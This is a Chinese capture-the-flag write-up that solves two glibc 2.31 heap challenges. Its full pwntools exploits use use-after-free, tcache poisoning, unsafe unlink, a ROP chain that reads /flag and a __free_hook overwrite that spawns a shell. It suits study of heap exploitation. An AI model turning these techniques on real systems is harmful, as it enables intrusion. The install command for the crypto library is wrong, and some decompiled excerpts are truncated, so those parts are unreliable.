heap
附件下载
环境准备
这题一开始最大的一个问题可能是题目依赖较多跑不起来,而且只给了 libc 的版本,是 2.31 9.16 版本,这个比较好说。如果是 libcrypto.1.1 这个库不存在也好说,apt 安装就好了。
照常换了 runpath 和链接器之后报了一个神奇的错误。
这里的意思就是,虽然你 elf 文件的 libc 换好了,但是 libcrypto.so.1 这个库用的是高版本的 libc,你换了之后 libcrypto.so.1 有些引用了高版本 glibc 的函数就用不了了,所以索性在加载的时候报出错误存在这个问题。
解决这个问题也很简单,如果不想影响机器的 libcrypto 库那就复制一份出来,将依赖修改到本地的备份版本即可,再用 --replace-needed 参数去替换依赖库。
例子:
patchelf --replace-needed libcrypto.so.1.1 ./libcrypto.so.1.1 ./heap
此时你还需要将 libcrypto.so.1.1 的依赖库换成对应的版本,才能正常运行。
最终修改完以来之后,你的两个文件依赖项应该如下所示:
这样你就能正常运行这个题目了。
题目分析
题目很友好,没有去符号,init_system 里面初始化了 Key,heap_base,和沙箱。
沙箱就是简单地禁用了 execve 调用,增删改查一应俱全,一步步分析。
增
下标 0-15还挺大,固定分配 0x30 大小的堆块,读入也是这么长,随后使用 AES 加密保存输入的内容。
注意到使用了 safe_malloc,而 safe_malloc 检查了 malloc 的返回值,需要与 key 所分配的堆块在同一个页上(即地址除了最低三位十六进制不同,其它必须相同),这样就会导致我们很多漏洞不能利用。
删
明显是存在 UAF 漏洞的。
改
同样 AES 加密内容改了上去。
查
将堆块内容 AES 解密后输出。
加密函数
可以观察到,当 a2 的时候是不会进行加密的,也就是说输入的明文会直接存储到堆上,解密函数同理。
漏洞分析
UAF是主要的漏洞点,根据UAF可以搞很多事,同时也有许多限制,来列一下目前的限制:
[ol]
[/ol]
对应的解决措施如下:
[ol]
[/ol]
理论可行,下面来实践
EXP编写
据此构造交互函数
from Crypto.Cipher import AES
def encrypt(data):
key=b'\x00'*16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(data)
def decrypt(data):
key=b'\x00'*16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(data)
def choice(i):
p.sendafter('>> ',str(i))
def add(idx,content):
choice(1)
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',content)
def free(idx):
choice(2)
p.sendlineafter('idx: ',str(idx))
def show(idx):
choice(3)
p.sendlineafter('idx: ',str(idx))
def edit(idx,content):
choice(4)
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',content)
由于 unsafe unlink 的利用手法需要知道堆指针的地址,而题目程序开了 PIE,所以第一步要先想办法泄露程序的基地址。
注意到解密函数是将内容解密到栈上输出的,因此栈上可能有可以利用的地址。
0x20 个 a 扔过去发现的确存在一个程序基地址,虽然被覆盖了两个字节,但是依稀可辨。在比赛中我选择了爆破这半个字节,但其实完全没必要,因为可以发现被覆盖的两个字节是由于自己输入了 3\n,而这里的数字输入显然使用 read,那就没必要输入这个回车,可以少覆盖一个字节,这样就完全不用爆破。
将交互函数的 line 去掉如下所示
拿到了 code_base 之后,tcache bin attack,这里这样操作:free 两个堆块,再改最后进入的堆块的 fd 指针到 key 堆块的位置。因为 2.31 版本的 tcache 有数量检查,如果检查到数量为0,即使 tcache存的堆块指针不为 0,那也不会被分配。
add(0,b'a'*0x20)
show(0)
code_base=u64(p.recvuntil(b'\nP')[-8:-2].ljust(8,b'\x00'))-0x1233
success('code_base: '+hex(code_base))
add(1,b'a'*(0x8+6))
free(0)
free(1)
edit(1,p8(0xa0))
add(0,b'\x00'*8)
add(0,'\x00'*8)
gdb.attach(p)
成功将 Key 写为 0
之后尝试泄露一下 heap 的地址,因为需要构造 unsorted bin,需要堆重叠修改 size,因此这里泄露堆地址是比较方便的。
add(0,b'a'*0x10)
free(0)
show(0)
show(0)
data=p.recv(16)
res=encrypt(data)
heap_addr=u64(res[8:])-0x10
success('heap_addr: '+hex(heap_addr))
也很简单,free 一个块让它带地址直接 show 即可,但是会用 Key 解密之后输出,因此我们想要得到原堆块的地址就需要对结果进行加密,密钥已知,也是很容易得出的。
紧接着再来一个 tcache bin attack,构造堆重叠,修改堆块的大小,free 掉,得到 unsorted bin,泄露得 libc 的地址(同时后面也是知道,我都unsafe unlink了,我还泄露libc地址干嘛呢??)。
add(0,decrypt(b'a'*8+p64(0x431)+p64(0)*4)[:48])
add(14,b'a'*8)
add(3,b'a'*8)
free(14)
free(3)
edit(3,p64(heap_addr+0x350))
add(2,b'a'*8)
add(3,b'a'*8)
for i in range(0x10):
add(2,b'a'*0x8)
free(3)
show(0)
data=p.recv(32)
res=encrypt(data)
#print(res.hex())
libc_addr=u64(res[8*3:8*4])-0x215be0+0x029000
success('libc_addr: '+hex(libc_addr))
这里我用了 14 这个下标是因为这个地方的指针比较重要(做到后面才发现的)。
此刻,便是良机,构造 unsafe unlink。
unsafe unlink
讲解一下 unsafe unlink 的原理,glibc 除了 tcache bin 和 fastbin 是单链表管理之外,其余都是双链表管理,单链表管理的堆块普遍不参与相邻内存合并(consolidate)的操作。
而合并操作需要涉及解链(unlink),为什么需要解链才能合并。因为合并后得到是一个新的大小的堆块,不管是 small bin 还是 largebin,对大小都有严格的限制,所以合并必须 unlink。
解链我们找找 glibc 中的定义
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
我们看到解链的一个重要操作
fd->bk = bk;
bk->fd = fd;
如果对应的堆块本身不处于被释放状态,意味着这个堆块的fd和bk指针我可以任意的修改。而合并是通过什么样的检测去判断呢,它有向前和向后两种合并的方式,从 glibc 源码中也不难看出,当 free 的一个块不在 fastbin 大小的范围内,便会尝试向前和向后合并。
向后合并
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
向前合并
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
可以发现,向后合并(向较小地址)主要依赖于当前释放的这个堆块的 prev_inuse 位,如果为0证明前面(较小地址)的堆块被释放了,就要向后合并,而一旦这个位为0,则检查 prev_size 字段判断堆块的大小。
同时再来看看如果没有任何检查的 unsafe unlink 会发生什么。
由于 fd 和 bk 是我任意控制的,因此我可以将 fd+0x18 的地址写上 bk 值,将 bk+0x10 的地址写上 fd 的值。但是很不幸的,它检查了 p->fd->bk==p && p->bk->fd==p,满足这些条件才能 unlink,本意很简单,一个正常的双向链表中,任意一个链表中的元素的后一个块的前一个块肯定是自己,反之同理,如果不满足则双向链表肯定发生了问题。
当然这个 check 可以绕过,首先需要一个指向 chunk 头部的指针,因此这需要我们伪造一个 chunk,而chunk头部的指针当然就是可以用分配得到的用户指针,它存放在程序代码的 bss 段中。
把 check 的条件化简一下,因为 p->fd 和 p->bk 都是任意值,因此不妨将它设为 x 和 y,那么就变成了 x->bk==p && y->fd==p,而 x->fd 与 y->bk 转为指针的写法就是 *(void **)(x+0x18)=p&&*(void **)(y+0x10)=p,取第一个等式,对等号两边同时取地址得到 (x+0x10)=&p 那么 x=&p-0x18 同理 y=&p-0x10。那么绕过这个检查的主要就是需要找到一个指向头部的指针。
在上面的基础,用下面的代码,我们来观察 unsafe unlink 的图解。
add(4,b'a'*0x10)
add(5,b'a'*0x10)
add(6,b'a'*0x10)
add(7,b'a'*0x10)
free(6)
free(7)
edit(7,p64(heap_addr+0x10))
add(6,b'a'*8)
add(7,decrypt(b'\xff'*0x20))
book=code_base+0x4080
edit(3,decrypt(p64(0)+p64(0x31)+p64(book+0x18-0x18)+p64(book+0x18-0x10)+p64(0)*2))#+p64(0x30)+p64(0xc0)))
edit(14,decrypt(p64(0x30)+p64(0xc0)))
free(5)
结果如下
在这里,我分配了一个0x40的堆块,返回了 0x55555555c350 这个指针,通过堆重叠,在 0x40 的堆块里面包含了一个 0x30 的堆块,可以发现 0x40 指向分配给用户的指针指向了 0x30 这个堆块的头部,这是我们伪造的一个 fake chunk,这里其实不需要加 0x31 这个size,因为 unlink不检查这个size,这里写 0x31 主要是方便理解。
同时它的 fd 和 bk,分别赋值了 0x0000555555558080 和 0x0000555555558088,这个值其实就是因为我们伪造的堆块得到了一个指向头部的指针在 BookList 全局数组当中,因此上面的等式中的 &p 就有了,不难发现 &p = 0x555555558090,那么根据前面的 x 和 y 相关方程可得 x=0x0000555555558080,y=0x0000555555558088,分别对应了这里的 fd 和 bk 的位置。
最后需要伪造 prevsize 为 0x30 和将 size 的prev_inuse设置为0,才能够成功触发 unsafe unlink。
触发了 unsafe unlink 之后,可以发现,BookList[3] 得到了一个指向自身 - 0x18 的位置,同时合并堆块的操作也是成功的,这里大小为 0x421 是因为后面还有 free 块,向前也合并了。
有了这个指针,可以任意修改 BookList[0]的值,再通过 BookList[0] 指针取读写任意的地址。此刻,malloc 已经不被需要了,我已然是无敌的状态。
这里选择劫持通过 __environ 泄露栈,用栈迁移劫持栈到堆上,在堆上提前布置好 ROP 链进行 ORW 即可。
想必也是可以一气呵成了
edit(3,decrypt(p64(code_base+0x4100)+p64(libc_addr+libc.sym['__environ'])))
#edit(0,decrypt(p32(0x10)*4))
edit(0,p32(0x10)*2)
show(1)
res=encrypt(p.recv(16))
print(res.hex())
stack=u64(res[:8])-0x138
success('stack: '+hex(stack))
#add(4,decrypt(b'a'*0x20))
leave=code_base+0x1AA4
pop_rdi=libc_addr+0x0000000000023b6a
pop_rsi=libc_addr+0x000000000002601f
pop_rdx_ret_10=libc_addr+0x00000000000dfc12
edit(3,p64(heap_addr+0xa0))
edit(0,p64(0))
edit(3,p64(heap_addr+0x10))
edit(0,p64(0))
#add(4,decrypt(p64(pop_rdi)))
edit(3,p64(heap_addr+0x4350))
edit(0,b'/flag')
edit(3,p64(heap_addr+0x360))
edit(0,decrypt(p64(pop_rdi)+p64(heap_addr+0x4350)+p64(pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open'])+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x390))
edit(0,decrypt(p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3c0))
edit(0,decrypt(p64(libc_addr+libc.sym['read'])+p64(0)*2+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x3e0))
edit(0,decrypt(p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3e0+0x30))
edit(0,decrypt(p64(libc_addr+libc.sym['write'])+p64(pop_rdi+1)))
edit(3,p64(stack))
gdb.attach(p,'b *0x555555555aa4')
edit(0,p64(heap_addr+0x358)+p64(leave)[:6])
p.interactive()
至此,已成艺术
最终 EXP
from pwn import *
from Crypto.Cipher import AES
def encrypt(data):
key=b'\x00'*16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(data)
def decrypt(data):
key=b'\x00'*16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(data)
#context.log_level='debug'
p=process('./heap',aslr=False)
#p=remote('47.94.85.95',28760)
libc=ELF('./libc.so.6')
#libc=ELF('/home/xia0ji233/pwn/tools/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def choice(i):
p.sendafter('>> ',str(i))
def add(idx,content):
choice(1)
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',content)
def free(idx):
choice(2)
p.sendlineafter('idx: ',str(idx))
def show(idx):
choice(3)
p.sendlineafter('idx: ',str(idx))
def edit(idx,content):
choice(4)
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',content)
add(0,b'a'*0x20)
show(0)
code_base=u64(p.recvuntil(b'\nP')[-8:-2].ljust(8,b'\x00'))-0x1233
success('code_base: '+hex(code_base))
add(1,b'a'*(0x8+6))
free(0)
free(1)
edit(1,p8(0xa0))
add(0,b'\x00'*8)
add(0,'\x00'*8)
add(0,b'a'*0x10)
free(0)
show(0)
show(0)
data=p.recv(16)
res=encrypt(data)
heap_addr=u64(res[8:])-0x10
success('heap_addr: '+hex(heap_addr))
add(0,decrypt(b'a'*8+p64(0x431)+p64(0)*4)[:48])
add(14,b'a'*8)
add(3,b'a'*8)
free(14)
free(3)
edit(3,p64(heap_addr+0x350))
add(2,b'a'*8)
add(3,b'a'*8)
for i in range(0x10):
add(2,b'a'*0x8)
free(3)
show(0)
data=p.recv(32)
res=encrypt(data)
#print(res.hex())
libc_addr=u64(res[8*3:8*4])-0x215be0+0x029000
success('libc_addr: '+hex(libc_addr))
add(4,b'a'*0x10)
add(5,b'a'*0x10)
add(6,b'a'*0x10)
add(7,b'a'*0x10)
free(6)
free(7)
edit(7,p64(heap_addr+0x10))
add(6,b'a'*8)
add(7,decrypt(b'\xff'*0x20))
book=code_base+0x4080
edit(3,decrypt(p64(0)+p64(0x31)+p64(book+0x18-0x18)+p64(book+0x18-0x10)+p64(0)*2))#+p64(0x30)+p64(0xc0)))
edit(14,decrypt(p64(0x30)+p64(0xc0)))
gdb.attach(p)
free(5)
edit(3,decrypt(p64(code_base+0x4100)+p64(libc_addr+libc.sym['__environ'])))
#edit(0,decrypt(p32(0x10)*4))
edit(0,p32(0x10)*2)
show(1)
res=encrypt(p.recv(16))
print(res.hex())
stack=u64(res[:8])-0x138
success('stack: '+hex(stack))
#add(4,decrypt(b'a'*0x20))
leave=code_base+0x1AA4
pop_rdi=libc_addr+0x0000000000023b6a
pop_rsi=libc_addr+0x000000000002601f
pop_rdx_ret_10=libc_addr+0x00000000000dfc12
edit(3,p64(heap_addr+0xa0))
edit(0,p64(0))
edit(3,p64(heap_addr+0x10))
edit(0,p64(0))
#add(4,decrypt(p64(pop_rdi)))
edit(3,p64(heap_addr+0x4350))
edit(0,b'/flag')
edit(3,p64(heap_addr+0x360))
edit(0,decrypt(p64(pop_rdi)+p64(heap_addr+0x4350)+p64(pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open'])+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x390))
edit(0,decrypt(p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3c0))
edit(0,decrypt(p64(libc_addr+libc.sym['read'])+p64(0)*2+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x3e0))
edit(0,decrypt(p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3e0+0x30))
edit(0,decrypt(p64(libc_addr+libc.sym['write'])+p64(pop_rdi+1)))
edit(3,p64(stack))
gdb.attach(p,'b *0x555555555aa4')
edit(0,p64(heap_addr+0x358)+p64(leave)[:6])
p.interactive()
这里插个题外话,可能纯做 Pwn 的师傅不太清楚,Crypto 这个库安装使用以下命令
pip3 install cryptodome
ez_heap
附件下载
环境准备就不过多赘述了,道理都是一样的。
题目分析
堆菜单实现了存储 base64 编码和解码的增删查,虽然说菜单上看着有改的操作,也确实有对应的函数,但是没有实装。
同样的,也来分析这些函数。
base64编码增
根据输入的长度和回车的判断,去分配堆块,而这里分配的长度是 4*len/3 + 4,还算是留有余地,几乎不能够溢出。
base64解码增
这里需要注意的点来了,它这里分配的长度是 3*len/4,这个长度比较极限但是它如果强制要求你的 len 必须是 4 的倍数其实也不能利用,但是没有,所以这里打个 tag,后续着重分析这里的解码函数。
base64编码删
删不存在 UAF。
后面的base64解码删,和输出堆块就不一一演示了,都很正常的实现。
这里想起之前讲到的 base64 解码增,来看看解码函数的实现。
unsigned __int64 __fastcall base64decode(char *a1, unsigned __int64 len, char *a3)
{
//一大堆定义
v16 = 0LL;
while ( 1 )
{
if ( v16 >= len )
break;
//...
*a3 = ((v15 > 16;
a3[1] = ((v15 > 8;
a3[2] = (v15
把中间一大段去掉,保留收尾,可以发现循环条件是 v16>=len,而 a3 的输出指针每次 +3,因此这个函数在输入长度为 4 的倍数的时候是绝对好使的,但是输入是由我们控制的,因此长度可以不为 4 的倍数,而不为 4 的倍数可能会导致分配的空间不够从而导致溢出。
EXP编写
首先进行漏洞的验证。
交互函数
def choice(i):
p.sendlineafter('Enter your choice: ',str(i))
def add1(content):
choice(1)
p.sendafter(': ',content)
def add2(content):
choice(2)
p.sendafter(': ',content)
def free1(idx):
choice(3)
p.sendlineafter('idx:',str(idx))
def free2(idx):
choice(4)
p.sendlineafter('idx:',str(idx))
def show2(idx):
choice(8)
p.sendlineafter('idx:',str(idx))
首先看看编码一个 0x19 长度的字符串,但是去掉编码后的最后一个字节,我们来计算一下。
0x19 长度的字符编码之后应该是 0x24 字节,去掉一个字节变成 0x23 字节,然后这个长度进入选项 2,malloc 的参数为 0x23/4*3,即得到 0x18,所以最终分配得到 0x20 大小的 chunk。
add2(base64.b64encode(b'a'*0x19)[:-1])#0
可以发现,最终的 top chunk 的 size 明显出了问题
需要分析一下为什么出现了 410061 这样奇怪的值,图中可以看出来我的输入是 YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ=,最小化之后发现主要的问题就是 YQ= 解析成了 61 00 41 这样的字节,来看看原理。
YQ 解析成第一个 a 不奇怪,Q= 解析出第二个 00 也不奇怪,这个 = 和另外一个字节(0字节)解析成了 A,来看看为什么。
看到对最后一个字节的解析
它使用 strchr 去查找该字符串在 base 表所处的位置,对于这个函数来说,如果如果找到了则返回该字符的指针,如果找不到返回 NULL,而找零字节能不能找到呢?能!就在字符串最后面,所有字符串都是 0 结尾的,所以找到的末尾指针减去首指针得到了 0x41,而 = 又等同于 0,因此看到 a[2]=(v15,也能理所当然地知道为啥是 A 了。
但是这样不太自由,因为会写 size 三个字节,因此可以考虑扩展长度,让它只能溢出一个 A 字节,这样这个 A 就能被覆盖到 size 里面构造堆重叠,然后打 tcache bin attack劫持 free hook就行了。
所以还是先泄露地址,这里虽然限制了 0x400,但是别忘了 base64编码可以扩展长度,因此很轻松构造一个unsorted bin来泄露地址。
add1(b'a'*0x400)#0
add1(b'a'*0x80)#1
free1(0)
add2(base64.b64encode(b'a'*0x9))#0
show2(0)
libc_addr=(u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')&0xFFFFFFFFFFFFFF000)-0x1ed000
success('libc_addr: '+hex(libc_addr))
这里还有一个需要注意的点,你泄露的 libc 的地址很不幸最低 2 位十六进制都是 0,所以 puts 带不出来,因此需要多覆盖一个字节才行。
libc 地址有了后面就是简单的重叠堆构造 uaf,但同样需要注意 tcache bin 有数量检测,如果正常 free 一个 tcache 再修改 fd,则分配不出来这个任意地址的 tcache,必须要free两个堆块,然后再 edit 后进入的堆块才能够成功分配出来。
分配出来就直接打 tcache bin 写 system 即可。
add2(base64.b64encode(b'a'*0x30))#1
add2(b'a')#2
add2(b'a')#3
add2(b'a')#4
free2(4)
free2(3)
free2(1)
add2(base64.b64encode(b'\x00'*0x38)[:-1])#1
free2(2)
add2(base64.b64encode(b'a'*0x18+p64(0x21)+p64(libc_addr+libc.sym['__free_hook'])))#2
add2(base64.b64encode(b'/bin/sh\0'))#3
add2(base64.b64encode(p64(libc_addr+libc.sym['system'])))
free2(3)
至此艺术已成。
完整EXP
from pwn import *
import base64
context.log_level='debug'
p=process('./pwn')
# p=remote('47.94.85.95','37083')
libc=ELF('./libc-2.31.so')
def choice(i):
p.sendlineafter('Enter your choice: ',str(i))
def add1(content):
choice(1)
p.sendafter(': ',content)
def add2(content):
choice(2)
p.sendafter(': ',content)
def free1(idx):
choice(3)
p.sendlineafter('idx:',str(idx))
def free2(idx):
choice(4)
p.sendlineafter('idx:',str(idx))
def show2(idx):
choice(8)
p.sendlineafter('idx:',str(idx))
add1(b'a'*0x400)#0
add1(b'a'*0x80)#1
free1(0)
add2(base64.b64encode(b'a'*0x9))#0
show2(0)
libc_addr=(u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')&0xFFFFFFFFFFFFFF000)-0x1ed000
success('libc_addr: '+hex(libc_addr))
add2(base64.b64encode(b'a'*0x30))#1
add2(b'a')#2
add2(b'a')#3
add2(b'a')#4
free2(4)
free2(3)
free2(1)
add2(base64.b64encode(b'\x00'*0x38)[:-1])#1
free2(2)
add2(base64.b64encode(b'a'*0x18+p64(0x21)+p64(libc_addr+libc.sym['__free_hook'])))#2
add2(base64.b64encode(b'/bin/sh\0'))#3
add2(base64.b64encode(p64(libc_addr+libc.sym['system'])))
gdb.attach(p)
free2(3)
p.interactive()